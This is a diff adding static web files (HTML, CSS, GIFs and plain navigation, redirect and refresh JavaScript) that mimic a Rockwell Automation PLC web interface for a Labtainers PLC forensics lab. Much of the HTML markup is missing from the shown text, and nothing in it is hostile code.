parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect.html new file mode 100644 index 000000000..6fa5ab6b5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect.html new file mode 100644 index 000000000..b0cb6ea9e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect.html @@ -0,0 +1,70 @@ + + +Rockwell Automation + + + + + + + +
+ + + + + + + + + + + + +
Diagnostic OverviewNetwork SettingsMessage ConnectionsEthernet Statistics
+ + + + + + + +

+ + + + + +
+ + + + + + + + +
Conn #Connection IdOriginatorTargetBridgedState
+

+

Seconds Between + Refresh:   Disable Refresh with 0. +


diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/refresh.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/refresh.js new file mode 100644 index 000000000..7c96eeffe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/msgconnect_files/refresh.js @@ -0,0 +1,19 @@ +function jsRefresh() +{ + parent.refreshTime = document.getElementById("refresh").value; + if (parent.refreshTime != 0) + document.location.reload(); +} + +function refreshInit() +{ + if (eval("typeof(parent.refreshTime)") == 'undefined') + parent.refreshTime = document.getElementById('refresh').value; + else + document.getElementById('refresh').value = parent.refreshTime; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') + parent.window.clearTimeout(parent.timeoutPntr); + + parent.timeoutPntr = parent.window.setTimeout("frames.home.jsRefresh();", (parent.refreshTime * 1000)); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/msgconnect_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/navtree/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/navtree/navtree.html new file mode 100644 index 000000000..20f8a529b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/navtree/navtree.html @@ -0,0 +1,260 @@ + + + + + + +Rockwell Automation Tree Navigation + + + + + + + + + + + + + + + + +
+ + + +
+ + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network.html new file mode 100644 index 000000000..c35653971 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
